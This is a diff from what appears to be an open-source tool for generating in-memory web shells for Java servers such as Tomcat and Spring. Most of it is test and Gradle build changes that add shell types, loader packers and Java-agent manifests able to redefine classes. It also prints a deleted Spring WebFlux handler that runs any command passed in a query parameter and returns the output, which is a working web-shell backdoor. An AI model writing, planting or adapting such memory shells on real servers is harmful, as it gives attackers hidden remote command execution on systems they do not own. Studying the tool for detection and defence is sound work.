@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
@@ -55,6 +55,7 @@ public class Tomcat10ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -56,11 +56,12 @@ public class Tomcat11ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@@ -57,6 +57,7 @@ public class Tomcat11JRE21ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -57,10 +57,11 @@ public class Tomcat5ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -55,6 +55,7 @@ public class Tomcat6ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -55,6 +55,7 @@ public class Tomcat7ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -50,6 +50,7 @@ public class Tomcat8CommandEncryptorContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.PROXY_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
);
}
@@ -55,12 +55,14 @@ public class Tomcat8ContainerTest {
Server server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
List<Packers> testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -55,6 +55,7 @@ public class Tomcat9ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
-10
View File
@@ -1,10 +0,0 @@
idea {
module {
excludeDirs += file('src')
}
}
subprojects {
group = 'com.reajason.javaweb.memshell-agent'
version = ''
}
@@ -1,35 +0,0 @@
plugins {
id 'java'
id "com.gradleup.shadow" version "8.3.6"
}
group = 'com.reajason.javaweb'
version = '1.0.0'
repositories {
mavenCentral()
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation 'org.ow2.asm:asm-commons:9.8'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,30 @@
plugins {
id("java")
id("com.gradleup.shadow") version "8.3.6"
}
group = "com.reajason.javaweb"
version = "1.0.0"
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation("org.ow2.asm:asm-commons:9.8")
}
tasks.jar {
manifest {
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Can-Redefine-Classes" to true)
attributes("Can-Retransform-Classes" to true)
attributes("Can-Set-Native-Method-Prefix" to true)
}
finalizedBy(tasks.shadowJar)
}
@@ -1,33 +0,0 @@
plugins {
id 'java'
id "com.gradleup.shadow" version "8.3.6"
}
group = 'com.reajason.javaweb'
version = '1.0.0'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation 'net.java.dev.jna:jna:5.17.0'
implementation 'net.java.dev.jna:jna-platform:5.17.0'
}
jar {
manifest {
attributes 'Premain-Class': 'Agent'
attributes 'Agent-Class': 'Agent'
attributes 'Main-Class': "Main"
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,33 @@
plugins {
id("java")
id("com.gradleup.shadow") version "8.3.6"
}
group = "com.reajason.javaweb"
version = "1.0.0"
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation("net.java.dev.jna:jna:5.17.0")
implementation("net.java.dev.jna:jna-platform:5.17.0")
}
tasks.jar {
manifest {
attributes("Premain-Class" to "Agent")
attributes("Agent-Class" to "Agent")
attributes("Main-Class" to "Main")
attributes("Can-Redefine-Classes" to true)
attributes("Can-Retransform-Classes" to true)
attributes("Can-Set-Native-Method-Prefix" to true)
}
finalizedBy(tasks.shadowJar)
}
@@ -1,31 +0,0 @@
plugins {
id 'java'
id "com.gradleup.shadow" version "8.3.6"
}
group = 'com.reajason.javaweb'
version = '1.0.0'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.17.5'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,31 @@
plugins {
id("java")
id("com.gradleup.shadow") version "8.3.6"
}
group = "com.reajason.javaweb"
version = "1.0.0"
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation("net.bytebuddy:byte-buddy:1.17.5")
}
tasks.jar {
manifest {
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Can-Redefine-Classes" to true)
attributes("Can-Retransform-Classes" to true)
attributes("Can-Set-Native-Method-Prefix" to true)
}
finalizedBy(tasks.shadowJar)
}
@@ -1,31 +0,0 @@
plugins {
id 'java'
id "com.gradleup.shadow" version "8.3.6"
}
group = 'com.reajason.javaweb'
version = '1.0.0'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation 'org.javassist:javassist:3.30.2-GA'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,30 @@
plugins {
id("java")
id("com.gradleup.shadow") version "8.3.6"
}
group = "com.reajason.javaweb"
version = "1.0.0"
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation("org.javassist:javassist:3.30.2-GA")
}
tasks.jar {
manifest {
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
attributes("Can-Redefine-Classes" to true)
attributes("Can-Retransform-Classes" to true)
attributes("Can-Set-Native-Method-Prefix" to true)
}
finalizedBy(tasks.shadowJar)
}
-30
View File
@@ -1,30 +0,0 @@
group = 'io.github.reajason'
description = "Normal Java MemShell for Java8"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":memshell")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.springwebflux.command;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Optional;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
public static String paramName;
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
Optional<String> cmdOptional = request.queryParam(paramName);
if (!cmdOptional.isPresent()) {
return Mono.empty();
}
System.out.println("hanlder function cmd " + cmdOptional.get());
try {
StringBuilder result = new StringBuilder();
try {
String cmd = cmdOptional.get();
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
} catch (Exception ex) {
ex.printStackTrace();
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
}
}
}

Some files were not shown because too many files have changed in this diff Show More